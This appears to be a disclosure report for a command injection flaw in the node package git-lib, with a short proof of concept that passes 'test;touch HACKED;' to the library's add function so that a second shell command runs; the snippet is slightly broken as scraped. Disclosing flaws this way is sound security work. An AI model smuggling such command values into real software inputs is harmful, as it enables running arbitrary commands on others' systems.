Command Injection in joeyism/node-git-lib


Reported on

Apr 3rd 2020


The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept (Credit: Mik317)

  1. Create the following PoC file:
// poc.js
var git = require("git-lib");
  .add("test;touch HACKED;")
  .then(function () {
    /** successfully added **/
  .catch(function (err) {
    /** unsuccessful **/
  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i git-lib # Install affected module
git init # Avoid problems with *git*
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created
to join this conversation